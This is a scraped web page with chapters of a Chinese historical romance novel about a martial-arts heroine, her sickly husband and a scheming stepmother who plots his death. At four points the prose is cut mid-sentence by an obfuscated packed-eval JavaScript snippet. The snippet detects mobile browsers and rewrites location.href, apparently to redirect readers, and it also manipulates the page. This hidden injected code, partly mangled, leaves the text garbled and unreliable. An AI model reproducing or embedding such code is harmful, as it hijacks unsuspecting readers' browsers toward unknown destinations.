“是啊，所以还是咱们女子之间最靠得住”，注意到桃华在小心给她使眼色，莲心微微一顿，最终还是面色如常地继续说了下去。 “听闻柳姨娘收到爹特意从京城寄来的燕窝，知道您这儿没有，片刻没耽误就亲自给您送来了，这份姐妹情谊也真是让人感动呢！” 习武之人虽说喜欢直来直往，但并不是对攻心之法全然不通。 正所谓集百家之所长，演武场上拳拳到肉，打红眼了什么狠话说不出来？ 所以论起往人心窝子插刀，莲心丝毫不比深宅妇人要差，就这，也不过发挥了四成功力。 人家毕竟上了年纪，点到为止即可，此刻看着陆夫人那张慢慢褪去血色的脸，莲心觉着自己刚才还是说得有点狠了，下次得再悠着点。 片刻的死寂中，屋内的三人或站或坐，各怀心思。 主座之上的陆夫人自然难掩怒火，又尖又长的指甲差点刺入的白猫柔软的皮肉，实在没想到，这个一直装糊涂的臭丫头竟还有如此伶俐的口齿。 桃华仍旧神情淡淡，只是在莲心说那句话的时候，眼中闪过一瞬间的亮色。 用这一招无往不利的陆夫人没有想到，会在今日呛了一鼻子灰。 其实莲心也并没有她所想的那么有定力，之所以没有如预想中的心急如焚，只不过是因为没有那么在意。 读过那么多书，走过那么多路，莲心从不将自己拘泥于一小方天地之中。 即使陆时礼不变心，与她白首不离，那莲心也是会去做自己的事，没报仇的时候去报仇，等报完了仇，她便想重开自家镖局，像父亲那样踏遍山河。 但感情之事最难苛求，若是有朝一日他生了二心，莲心自然就是你若无情我便休，她有手有脚的，自可去一方安身立户。 万千山河壮阔秀丽，终其一生都未必能够参见，她又何苦为了不值得的人而整日勾心斗角，和一群柔弱女子东拉西扯，争风吃醋呢？ 沉默地过了良久，陆夫人才撑着额头低低地叹了口气，朝莲心摆了摆手，示意桃华送客。 “但愿你这心气，并非一时意气。往后日子还长，我会擦亮双眼，拭目以待！” 临了临了，陆夫人缓缓留下一句，随即也不理会莲心两人的行礼，搭着身旁丫鬟的手，优雅地回了卧房。 “你方才那话太冒失了”，待脚步声越来越远，桃华才轻声说了句，“逞一时口舌之快，到最后吃亏的还得是你自己。” 莲心点了点头，随即又摇了摇头，“我也知道要尊敬长辈，不过之前道理讲也讲不通，她总是逼我给人下毒，我这不也是实在没办法了嘛！” 走出几步后，桃华放缓脚步，目光中多了几分担忧。 “怕是从现在开始，陆夫人已经把你当作了敌人，想要除掉的除了大公子，还会再多上一个你。” 不用她提醒，莲心也已经想到了这一层，但没打过几过交道，突然从她口中听到，还是觉得有几分惊喜，便笑着问。 “姑娘怎的今日如此有心，还特意说出来提醒我了？” “说不上来是什么原因”，没成想桃华认真思索了一下，有些困惑地摇了摇头，“或许就是觉着你莫名亲切，像我家中的小妹吧。” 这倒是个意料之外的回答。 莲心原本以为她会闭口不谈，然后神情淡淡的拂袖而去，见她这般诚恳的回答，有些措手不及地怔了一瞬。 她的小表情刚好被瞄过来的桃华捕捉，敛去了那丝若有若无的柔情，又恢复了冷若冰霜的模样，“怎么，觉着像我妹妹委屈你了？” 委屈？自然是不委屈的，恰相反，她感觉到了莫大的喜悦。 “怎么会”，莲心赶忙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15159758|164961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摇了摇头，郑重的福了一礼，“我是家中长女，虽然有个堂姐但也早已失散多年，如今若能有你做姐姐，我乐都乐不过来呢！” 莲心的身世从来不是秘密，与一般人的怜悯之情不同，桃华在同情之余，更多的还是对她胆识武艺的欣赏，也赶忙俯身回了一礼。 “你是少夫人我是丫鬟，彼此关照便是，行礼便是折煞我了”，桃华抿了抿唇，身子却不自觉往过靠了靠，两人间只有半步的距离。 “我在江洲也有不少熟人，不知可否说下你堂姐名讳？我这边托人帮忙找找，往后无论如何也好一家人有个照应。” 其实这些日子莲心也没少托镖局的熟人帮忙去找，可无论是手臂有刺青的少女，还是她的堂姐莲见，都像人间蒸发一般，没有半点存在的痕迹。 走南闯北的镖师都未能见过，其他人找到的希望恐怕更加渺茫。 可毕竟也是人家的一番心意，莲心微微犹豫了一瞬，便点了点头。 “那就有劳桃华姐多费心了，我堂姐名唤苏莲见，应当算是江洲本地人。年幼时因家中变故在福州我爹娘身边呆过一段，后来被娘家叔伯接走，便再也没了联系。” 其实这话她只说了一半，关于陆时礼讲的与莲见在陆府相处的几年经历，她没有提及，自然也没有说在屠城之前目睹母亲与她短暂会面之事。 前者不说，是因为毕竟没有亲眼所见，无法确定那少女就是莲见本人，而不是有人冒名顶替。 后者也没提，一方面同样有无法断定本人的原因，另一方面莲心也留了一手。 虽然觉得桃华莫名亲切，而且彼此的关心也不像装的。 但不怕一万就怕万一，多留个心眼总归没有坏处。 再说找人主要看外貌姓名，这些事说与不说，对于结果也没有多少影响。 “莲见……”，桃华喃喃重复了两遍，才施施然凝回目光，继续问道，“可有什么典型的特征？” “典型的特征吗？我也只是在很小的时候见过她几面，当真是没有什么印象了……” 而素来清冷寡言的桃华却一反常态，对于低头回忆的莲心十分有耐心，言语间时不时会有轻声的鼓励与安慰。 或者说，在听到“莲见”这两个字后，桃华就有些不对劲。 那种感觉莲心说不出来，反正就是怪怪的，感觉像犯错误后对子女循循善诱的父母。 表面看起来是鼓励畅所欲言，其实想要听的内容，早已在他们心中有了大致的答案。 不过就是想要从你的口，再确认一遍罢了。 “应当没有什么具体的特征，不过在我的印象里，大人们都说我和她长得很像，简直就是一个模子里刻出来的一样……” “啪”，桃华脚下一绊，差点从最后一级台阶上摔下，幸好身侧的莲心眼疾手快，将她稳稳拉住，这才免去皮肉之苦。 好半天，苍白着一张脸的桃华才如梦初醒，若有所思地凝望着莲心的双眼。 声音很轻，似是在小心地问，又像是单纯在喃喃自语。 “原来……是这样吗？” 19. 夫妻 冰滑滑的蛇窟外，那个紧紧拉着她手臂的女孩，逐渐与眼前少女清澈的杏眼重合，交叠。 原来如此，一切莫名的熟悉和亲近感，其实全都有迹可循。 因着十年前的那场意外，她只牢牢记住了女孩那双透着对命运不屈的双眼，以至于当第一次见到莲心时，便被那种相似的目光所深深吸引。 莲见，莲心，几分相似的长相，一字之差，各自有着截然相反的人生际遇。 桃华深吸了一口气，不动声色地慢慢抽回了自己的手臂，“我记下了，日后找到会第一时间告知你的。” 饶是察觉出她的异样，但既然不方便说，莲心也没有多问，闻言点头一笑。 “那我就先走了，给桃华姐添麻烦了！” 与她分别后，莲心并未急着往南院去，而是绕到了小厨房门口，一边嗅着食物的香气，一边靠在枯叶飘零的梧桐树下沉思。 她越来越觉得，陆家的人个个都不简单。或许在这个家里，她还算是秘密最少的人呢？ 别的不说，陆夫人能从六品县令庶女，一步步走到如今这个位置，靠的并非是母家的帮衬，而是自己狠辣的手段和一流的耐性。 自从那日摆下鸿门宴后，莲心就一直小心提防着陆夫人那边的动作，不仅在吃食上小心留意，连陆时礼平常上下学都会尾随陪同，生怕一个不慎酿成惨剧。 相比与她的草木皆兵，陆时礼就显得平静多了，病照装，学照上，甚至每餐吃得比往常还要多上一些，人也没有那么清瘦了。 虽说心里并不担忧，但对于莲心上下学的接送，陆时礼还是乐意接受的，到了后期甚至刻意不与同学一起走，就为了让她不用东躲西藏地跟着。 除此以外，两人相视陌路的状态对外还是继续维持的，除了一起用饭以外，其余时间在外面都是各走各的，中间没有隔出一条楚汉银河，也基本差不了多少了。 因着担心陆夫人这边下黑手，这段时间也没有把小莲生再接过来，不过这小孩在学堂人缘意料之外的好，不仅功课没有落下，朋友也多得 数不过来，整日呼朋引伴，好不热闹。 有几次莲心去看他，没说几句就被同学给招呼走了，上前一问才知道，原来是请他帮忙捉蜻蜓和蝴蝶呢！ 莲心这边提心吊胆了快一个月，连试毒的银针都换了十来个，可愣是没有半点危险发生。 就这样，当了一个月的保镖兼捕快的莲心，终于在一个天高云淡的清晨彻底倒下，卧床不起了。 其实也没有什么大碍，就是前一天晚上坐在院中的青砖上看星星，导致来月事受凉腹痛。 肚子疼虽然是个小病，但疼起来一抽一抽的，也很是要命。 特别是对莲心这种经常强身健体的，因着平常很少腹痛，又加上这次还没有母亲的照顾，一时间蜷缩在床上，冷汗顺着脸颊直往下砸。 陆时礼下学回来时，先是被屋里弥漫的淡淡血腥气吓了一跳，也顾不得放下提着的吃食，快步走到床边。 又见莲心侧着半张毫无血色的脸，无知无觉地闭着眼，他手一抖，纸包就这么直直砸了下去。 只听“哎呦”一声，莲心捂着肚子勉强睁开了眼，看着正好砸在小腹上的那圆滚滚的油纸包，平生鲜少抵抗住了食物的诱惑，没有半点进食的欲望。 显然她的这番举动也出乎了陆时礼的预料，将纸包放在一旁后，他又回到床畔，有些担忧地开口询问。 “伤口可包扎好了？” 这下可换莲心丈二和尚摸不着头脑了，什么伤口，怎的还用的上包扎？ “呃……我没事，休息休息便好了。” 昏黄光线下，少女平日清冷的轮廓多了几分朦胧韵味，许是先前出了不少汗，雅青色的长发细细贴在颈侧，更显得那修长脖颈白皙如玉。 因着初醒，澄澈的杏眼中未含警惕，四分疑惑六分懵懂，仅对上一瞬，陆时礼便有些乱了心神。 一个人独处太久，对与女性相处的仅停留在孩提时代，虽说之前已经表明了自己的心意，可就在这一刻他才有了明晰的感觉。 并非与母亲相处的随意任性，也不是与玩伴嬉闹的无忌撒欢，此刻他才有了实感，眼前的是他的妻子。 对于如何做一个妻子，有《女训》、《女则》、《烈妇传》等等长篇累牍加以说明，可却从来没有提出如何成为一个称职丈夫的书籍，哪怕只是列出几个案例也好。 面对他的质疑，陆父总是淡淡一笑，抬手指指宗祠里曾身居高位的先辈。 多少次，只是丢下句“加官晋爵，封妻荫子”，转而摸摸他的头，便走出堆叠奏章的书房，投入到后院娇妻美妾的怀抱中去了。 可他觉得，或许对于满足男子的野心，这样是足够的，但对于一个妻子来讲，她们想要的绝没有这么复杂。 世间男子终其一生能做到这八个字仅有寥寥，而倘若这是衡量合格丈夫的标准，那岂不是绝大多数的婚姻都是穷苦且无望的？ 但他分明清楚地望见母亲眼中的亮光，那时父亲仅是一个五品的小官，因着仗义执言被贬为六品县令，虽然日子清苦的多，可一家三口言笑晏晏，不知比现在快乐多少。 在他心中，忠贞不渝不仅是对于妻子的要求，既然缔结了相濡以沫的承诺，那身为丈夫的一方也不能相违背。 “你这是怎么了？”莲心有些诧异于他的走神，还以为是被自己的病容吓到了，小声出言劝慰，“我真没事。” 回过神来的陆时礼霎时又羞又囧，懊恼自己在这种情形还想东想西，也顾不上那点心猿意马，伸手想要掀开被子看看伤势。 察觉他意图的莲心哪里肯得，赶忙拽着被子往后缩，一进一退间，两人均红着脸，僵持在了原地。 “我没别的意思，只是想看看伤势”，陆时礼以为她是害羞，慢慢收回了手，向后退了两步，“三叔从前好像留下一瓶金创药，我找找还在不在。” 看着他煞有介事地翻箱倒柜，一阵噼里啪啦声中，莲心咬了咬唇，还是弱弱地开了口。 “不用了，我没受伤！” 那边的陆时礼顿了顿，“那这血腥气是……？” 心中已经想到了可能，但嘴上却慢了一步 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15170084|164961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，等到大脑想去阻止时，问话早已经出了口。 没有等他再要绞尽脑汁错开话题，莲心轻轻的一声“月事”响起，话题就此止在那里，屋子又恢复了起初的寂静。 仿佛攻守易势般，有些不知所措的人变成了陆时礼。 而莲心噙着抹淡淡的笑，静静靠在床头，饶有兴致地看陆时礼的耳垂由浅粉变成鲜红，甚至比两颊涂了一天的胭脂还要艳上三分。 然而更有趣的是他的姿态，少了些平日刻在骨子里的淡然自持，无论是纤长如盖的微垂眼帘，还是紧抿的浅粉薄唇，都显示出了他罕为外露的慌乱和无措。 不知为何，原本只想逗他一逗的莲心，突然生出了几分负罪感。 她似乎……带坏了被纲常礼教严密束缚的“少年英才”。 褪去人前不羁肆意的面具，搁下男尊女卑的芥蒂，平视着，谈笑着，才应当是少年夫妻的相处之道。 原本已经渐渐丧失的希望，没想到在这个最不可能的世家大族，因着阴差阳错的冲喜，让她遇到了有同样想法的人。 愣了片刻，陆时礼才缓过神来，倒了杯烧开的热水，小心翼翼地递了过来。 “里面冲了红糖和大枣，趁热小口慢慢喝。” 莲心点了点头，迎着那双灿若繁星的黑眸，捧着手中的茶杯轻啜了起来，两人偶尔目光相对，均是无声一笑。 一大杯热汤下肚，莲心顿觉浑身冒汗，腹痛也缓解了不少，于是在陆时礼去放水杯时，靠在床沿微阖着眼，轻哼起家乡小调来分散注意。 少女嗓音还含着软糯，一首采莲曲虽没有母亲那般的清亮，但也轻松闲适，让听者不自觉翘起唇角。 刚哼了一半，曲子就停了下来，陆时礼迎着莲心诧异的目光，没有放下隔着内衫覆在她小腹的手，反而朝她安慰地笑了笑。 “我方才用热茶杯烤了烤手掌，有没有感觉暖和一些？” 听了这话，莲心也放松下来，随着掌心的温度慢慢蔓延，残存的疼痛也在逐渐缓解，她笑着问。 “确实挺有效的。没想到你还有这么一手，老实交代，从哪学来的？” 好啊，知道兴师问罪，看来是见效了。 陆时礼笑着摇了摇头，“还能跟谁，当然是从我爹哪里学来的。” 再开口间，他声音更加温柔，仿佛回想起了美好的旧事。 “那时我年纪小，我娘每月腹痛时我爹都会告上一天的假，他暖腹我端水，所以才会印象深刻。” 被他的神情所感染，莲心也抿唇浅笑，“你爹娘的感情真好。” 陆时礼暗暗轻叹一声，是啊，感情虽深，可不过就是当年，时移势易，纷纷扰扰中又有几人能始终如一？ “ 莲心”，掩去嘴角的那抹苦笑，陆时礼郑重地抬起头，一字一顿地问，“若我承诺此生定不负你，你愿意相信吗？” 生死在天不由人，一如转瞬即逝的感情，但他却总想立下承诺，既说给她，也说给自己。 所幸片刻后的一句“我愿意”告诉他。 这样想的，不仅他一个人。 20. 妻妾 平静祥和的日子总是过得飞快，宛若细细密密的漏沙，在掌心稍纵即逝。 院中央的那棵遒劲梨树早已不再郁郁葱葱，雪白的花瓣也落成了明年的春泥，唯有挺拔枝干上的点点白霜，让这初冬的时节多了分丽色。 “满府上下唯这一处，远远望着还有点盛夏的样子。” 因着今日立冬，按照江洲的风俗应当全家一起吃赤豆糯米饭、酿黄酒，以求团团圆圆、福祉庇佑，陆夫人也特意差了桃华过来，唤莲心到东院去。 这不，就在等莲心更衣的空档，桃华便被院内这株参天梨树吸引，碰巧这时木门被轻轻推开，看到一袭枣红绣莲小袄的莲心，方才那点惊艳被迅速放大。 “这身颜色很衬你。”怔了一瞬，桃华轻声开口，毫不吝惜自己的欣赏。 也怪不得一向为人淡漠的她感到如此惊艳，莲心平日不施粉黛又气质清冷，穿惯素色衣服只显出英气利落。 可一旦换了身艳色衣裳，再加之涂了淡淡的口脂，便压住了几分眉眼中的英气，衬得整个人娇俏明媚起来，只站在那里便觉十分动人。 被冷不丁这么一夸，莲心微微一愣，但随即浅笑出声，对上那双真诚的双眼，郑重地福了一福，“多谢桃华姐夸奖。” 提起裙摆利落地下了阶梯，她又俏皮地眨了眨眼，说了句“你今天也格外好看”，便挎着竹篮先迈开步子走在了前面。 见她这般模样，桃华无奈一笑，也摇了摇头小步追了上去，两人一前一后往陆夫人所在的东院去了。 江州地处江南，但还是要比福州往北一点，夏秋之时还不觉得，这一立了冬莲心才发觉，这里比家乡要冷上不少。 往常在家时只要在外面套上层薄薄的棉衣，到了这边再披上件狐裘的大氅还是觉得勉强，看着始终冷冷清清的东院，莲心恍惚生出一种错觉。 或许除了南院，整个陆府都被一层淡淡的冷气所包裹，外面的人声鼎沸、车马喧嚣被完全隔绝，唯一还有点人气的，只有她所在的那方“废院”。 就在她胡思乱想之际，右脚已经迈入了红木门槛，为给她半点喘息的时间，坐在靠门右手边的薛姨娘就悠悠然地开了口。 “哎呦，快瞧这是谁来了，千等万等的，不知道的还以为来的是府上的客呢！” 此言一出，满座的女子笑的笑，看的看，投来的视线夹杂了各种情绪，冰凉黏腻的，宛若晦暗难辨的泥沼。 “让夫人和各位姨娘久等了，莲心先给诸位赔礼”，虽说前前后后不到半刻钟的时间，但莲心还是郑重地行了一礼，随即从竹篮里取出八九个精致的白瓷瓶挨个递了过去。 “这是福州特产的莲子粉，最是清热消火。前儿个请早安的时候见您有些受热，便给您研磨了一些，若是有效再给您送。” 首先给的自然是倚在主座的陆夫人，听她这么一说，陆夫人那双浓妆艳抹下的眼睛浅浅弯起个弧度。 “你有心了，为娘很是欣慰”，但并未伸手，反而是身后的嬷嬷小心地接了过来，见莲心全程敛眸含笑，这才放下怀中的白猫，轻轻拍了拍莲心的手背。 “都说娶妻当娶贤，莲心不仅生得一副好相貌，还如此体贴人意，嘉文那小子还真是好福气啊！” 见陆夫人笑着收了礼，一向与她不对付的薛姨娘又挑着秀眉，阴阳怪气的开口说道，而话里话外间，矛头始终离不开莲心。 然而陆夫人还和从前一样，半点不上她的当，不说不怒，只留唇角一丝若有若无的冷笑，殷红的指尖捻着腕间的珠串，看不出什么心情。 将这一切尽收眼底的莲心也没有作声，而是按部就班地向各位姨娘送上瓷瓶，眉眼含笑，倒显得更为讨喜。 “瞧姐姐这话说的”，坐在左边中间姓段的艳丽姨娘一手握着瓷瓶，一手虚虚拢在口前轻嘲了声。 “你这是说自己啊，还是笑话咱姐妹不够贤惠啊？毕竟除了夫人，咱们可都是妾啊。” 眼见陆大人即将启程回乡，薛姨娘原本只想拿陆时礼来刺激一下陆夫人，没想到一直明哲保身的段姨娘来了这么一手，顿时失了定力，微红着脸大声辩驳。 “姓段的你可别血口喷人，我不过是夸赞莲心一句，哪有你说的那些腌臜心思！” 她这边咄咄逼人，段姨娘也同样不甘示弱，冷笑一声，慢悠悠地开了口。 “夸赞？整个江州谁不知道莲心被冷落的情况，现在还假惺惺提起那个目中无人的病秧子。若非有心刁难，那便是故意找不痛快！” 薛姨娘被彻底激怒，叉着腰瞪圆双眼，“我看你这浪荡货真是欠收拾……” “行了——” 眼见一左一右斜相对的两人愈演愈烈，战火一触即发之际，陆夫人终于沉沉喝了一声，冰冷的视线犹如滔天的漩涡，瞬间就让怒火丛生的两人冷静下来。 对于这几房侍妾，陆夫人当真是厌恶之至，从小耳濡目染的规矩礼仪，更让她觉得这群女子的污言秽语格外刺耳。 甚至在一些时候，她会怀念林氏还在的那段日子，府上只有她们两人，而林氏又对她的挑拨争宠不闻不问。 凭心而论，她绝做不到林氏那般置身事外，看着越来越多的新人争夺本就不多的宠爱，她这种没有多少情谊都尚且如此，更何况是年少相伴的林氏呢？ 肯定是宛若刀割般的心痛吧？ 否则她也不会突然加重病情，连最好的神医都束手无策，扔下那么小的儿子就撒手人寰。 想到这里，她就会更加坚定自己的想法，男人是绝对靠不住的，她要的只有金钱和权利。 现在是陆时礼，等唯一的继承人只剩下自己儿子时，接下来要解决的，便是陆大人了。 当然她绝不会让他死，毕竟有着他的身份和地位，自己儿子的官路才能越走越顺。 她都想了，若是明年儿子再不能中，便花钱捐个小官，借着这层关系何愁不能在江洲立足，到那时她稳抓陆府的财产。 再加上那边的关系，无论朝政如何变，他们都将高枕无忧。 至于府上有几房侍妾，陆大人心中有谁，从来都不是她要关心的问题。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15180616|164961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 想到这，看着眼前粉面樱唇的莲心，她隐隐生出些许怜惜，抿了口手边的清茶，慢悠悠轻叹一声。 “家大业大就是这样，光是内院每天都要有不少争端。你过门也有小半年了，该为自己好好打算一下，特别是我交代的事，也得上点心。” 似是而非的同情也好，恨铁不成钢的恼怒也罢，反正她也不止一次表明自己的立场，既然卷进来就无法全身而退。 就算是块举世惊叹的玄铁，若成不了手上出鞘的利剑，也只能被丢入熊熊烈火中，任由高温炙烤，最后化为一滩形状难辨的铁浆。 这话旁人听不懂，但莲心却是再明白不过了，这位主母言下之意，无非是提点她摆正立场。 但无论怎么选，有那么多前车之鉴在，她也清楚不管怎样自己绝不会被放过，所以还是半垂着头，意味不明地说了声好。 一番争吵过后，屋内容色各异的妇人却莫名的和善起来，彼此间说说笑笑，看不出先前的半点嫌隙，就好像那场别具一格的“斗法”只是场错觉。 三人一帮，两人一伙间，留下来做黄酒的，只剩下了莲心和陆夫人。 不知是碰巧，还是有心之人刻意为之。 “说实话，一开始我并不想留你”，待到嬷嬷仔细封好了盖子，陆夫人才在莲心耳畔轻轻开口，“不过现在觉得，这样也别有一番乐趣。” 莲心仍旧没有抬头，只低低地答，“能让夫人觉着有趣，是莲心的荣幸。” 陆夫人没有继续这个话题，而是将手搭在桃华的手背，懒洋洋地笑了笑，语气中多了些轻嘲。 “入府之前我最喜下棋，每回前半盘我总是只守不攻，到了后半句才转守为攻。看着对方陷入我提早布下的陷阱却不自知，反倒为眼前那点小利沾沾自喜时，我就觉着十分有趣。” 她顿了顿，又继续笑着说。 “旁人只道我心狠，却不知未到最后一刻，我从未出过狠招。你来我往的拉扯固然有趣，但生死关头不过就是各尽所能，各安天命罢了。” 须臾的沉默后，她轻唤一声，“桃华，你觉着是不是这个道理？” 平素淡漠清冷的面容闪过刹那的惊慌，但也只是须臾，便又恢复了镇定。 “回夫人，桃华也以为正是之前的隐忍不发，才能做到后面的知己知彼，不攻则已，攻必中其要害。” 这一问一答落在莲心耳中，心下不觉一片寒凉。 她莫名觉得现下的陆夫人较之从前，变得更加深不可测，好似一座半隐在海面的孤岛，露出的永远只是想要表露的那部分。 无论是繁花遍地，还是荒草丛生，都只是表面的伪装，在滔天的波浪之下，还隐藏着不为人知的景象。 全身的毛孔都在一瞬间收缩，预感告诉她，陆夫人绝不像表面那么简单。 或许争夺家财是个重要原因，但让她下定决心除掉陆时礼的，肯定还有其他缘由。 但不论如何，她已经有了种不好的感觉。 那就是，陆夫人的致命一击，马上就要到来。 21. 求医 陆时礼突然病倒了，就在小雪的那一天。 也不知道是什么原因，明明前天晚上两人还各吃了一大碗热汤云吞，可天刚蒙蒙亮时，早起练功的莲心便发现了他的不对。 白皙如玉的面容遍布赤红，伸手探去只觉额头滚烫似火，然而比起高烧，更让莲心担心的，是他此刻的状态。 双目紧闭，薄唇微阖，呼吸极轻极浅，探在鼻尖的指节好半天才能感受到微弱的热气，那些许的热度一触即逝，一如他现在的生命。 无知无觉，好似枝头摇曳的花瓣，也许会顽强的抵过寒风，但也可能随时迎风而落，消失在漫漫天际。 “陆嘉文……” 用毛巾沾了凉水搭在额上，莲心轻拍了拍他垂在身侧的手臂，低低唤了一声。 意料之中的，并未得到任何回应。 平日里会捧着书卷，一边晨读一边陪她练剑的男子，此刻就这么静静地躺在那里，高热不退，呼吸微弱。 饶是加倍小心提防，莲心知道陆夫人终于下了狠手，而他们也还是没有逃过。 一门之中，最是家贼难防，明守暗攻，自己这边怎么都落了下乘。 心中这样想着，但陆时礼的病情也实在耽搁不得，眼见他马上只进气不出气，莲心知道得赶快去请大夫了。 不幸中的万幸，陆家上下包括陆夫人都十分忌讳染病，尤其是眼下这种情况更不会有人冒死踏足，现在去请大夫留他一人，莲心还是能放心的。 “你可千万撑住，我很快就带人来救你。” 三两下穿好小袄，又揣进袖里四枚银锭，莲心这才深吸一口气，回头深深望了眼昏迷不醒的陆时礼，推开房门快步走了出去。 虽然地处江南，可天上还是应时地刮起了雨，并未凝结成雪，而是介于雨雪之间的霜，正好兜了翻墙而出的莲心满头满身。 街道上零零散散走过几个行人，皆是紧紧扣着头上的兜帽，因着风大实在不宜打伞，故而都低着头急匆匆地赶路。 陆府地处江洲三大主街的棠梨街中央，周边有大大小小七八家医馆，莲心也没犹豫，径直向着号称妙手回春的那家走去。 顶风冒雨走了快四里路，好不容易到了医馆门口，却见漆红的大门紧闭，门上还落了把大锁，一问才知，原来就在三日前老神医举家回乡省亲去了。 见此家无望，莲心便又在这条医馆集聚的街上挨家去请，本以为总能寻到一家，没成想她错估了陆夫人的决心。 或者说，是没有料到陆夫人会做得这么绝。 可是，现实就如同这冰凉的雨水一样，劈头盖脸而落，直直浇了人个透心凉。 一家，两家，三家……一直到了第八家，全都无一例外，锁了大门无人迎客。 天色已经暗沉下来，方才只算连绵的雨水宛如被打开了开关，豆大的水滴争先恐后地落下来，如芒刺一般刺得皮肉生疼。 挨家挨户跑的时候，莲心早已被雨水浇得浑身湿透，水滴顺着鬓发落到颈侧，冰冷的触感激的莲心打了一个寒战。 冷，铺天盖地的冷，如同坠进了深不见底的寒渊，触不到喊不得，唯有带着愈演愈烈的绝望，头重脚轻地被海浪裹挟。 金钱权力，与小人物而言，有时便是冲走他们最后浮木的一片浪，且轻且浅，但足矣摧毁掉他们最后的一点希望，裹挟着他们葬身海底。 比起刀剑，这两样显然杀人于无形，而世间一切杀戮与罪恶，大多也都源自于此。 不见血，却也有着致命的杀伤力，有些时候，某个人的一句话，便足矣胜过千军万马。 一如她的父母，曾经的街坊，以及，现在的陆时礼。 “生死各有命，半点不由人……”逃难途中一位老者的叹息，犹在耳侧，越发清晰。 莲心用力握紧了双拳，加快了脚步，既然雨水想要带走她的温度，那她便换成跑的，靠自己重新燃起热度， 什么生死天命，她从来半点不信。 哪怕始终被冷水劈头盖脸地砸下，只要还有一口气，但凡能爬起来，她就绝不会放弃挣扎，向所谓的命运屈服。 鞋袜已经被雨水浸泡，连双腿都变得麻木起来，但莲心的动作反而更快，她此番是要与时间赛跑。 分秒必争，既是为了陆时礼，也是为了她自己。 她想要看看，倘若咬紧牙关往前冲，是否可以争取到一线机会，扭转几乎没有希望的结局。 陆嘉文，我不会放弃，也请你，万万要坚持住…… 愈发急促的雨水划过天青色的瓦片，“啪”的一声砸在少女脚畔，于那樱粉色的裙摆上溅起淡淡的水渍，同样也惊起了屋内眯着眼的白猫。 “喵——”，碧眼白猫懒洋洋地瞄了下撑伞而来之人，随即又伸了个懒腰，将脸重又埋进胖乎乎的身子里，在暖炉边团成了个大圆球。 桃华将湿透的伞放在门口，于脚垫上细细擦干鞋底的水渍，这才缓着步子跨进了屋中，俯下身子行了一礼。 “回夫人的话，奴婢隔着院门往里瞧，南院并未生火，屋内也静悄悄的，没有半点声音。” 听她这么一说，陆夫人捻着珠串的指尖微微顿住，眼中晦暗难明，嗓音中隐隐透着冷意。 “果然，那丫头还是跑出去求医了……” 身后的嬷嬷小心递上刚点燃的暖炉，有些诧异地回了句，“怎还是这般不识时务？” 明明都那样提醒她了，还偏偏要螳臂当车来这么一糟，也是个倔脾气的苦命人，只可惜在这世道是万万留不得的。 挣扎拼搏本没有错，但若挡了别人的路，便也是容不得了。 “呵，由她去吧”，陆夫人握着掌心的暖炉，轻蔑地笑了一声，“若此番染上风寒，倒更无须我们再费事，也省得又添一桩孽债。” 腕间的念珠随动作滑落下来，恰巧被那殷红的指尖握住，一黑一红交相映衬，鲜明而又割裂。 一如此刻的陆夫人，分明时时捻着念珠诵经礼佛，可口中三言两语便定了人的生死，对于挡了路的人，从来都没有过半点手软。 没有人再开口，偌大的房室之内，除了噼里啪啦的雨滴声，便只有暖炉中的炭火，时不时发出几声脆响。 暴雨已至，只待落定之时，再见分晓。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15197025|164961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 铺天盖地的雨幕中，连睫毛都裹上了一层水珠，莲心必须三两步就揉一下眼睛，才能勉强维持模糊的视野，穿行在几乎无人的小巷。 毕竟是在尸山血海趟过一遭的人，狂风骤雨与她而言全无所惧，她唯一害怕的，是找不到医官，耽误了陆时礼的病情。 那个总是在她背后笑意暖暖，分明心思柔软却总要装作冷漠，会陪她走街串巷买上特色小食，与她约定要相濡以沫的陆时礼。 她已经眼睁睁看着父母惨死，如今只要还有一线希望，她就要牢牢抓住。 哪怕会撞得头破血流，就算在旁人眼里只是螳臂当车，但凡还有一口气，她就一定要找下去。 陆夫人既然暗中动了手，那这病就绝非寻常方子可以治的，更别提她隐隐有种不好的感觉。 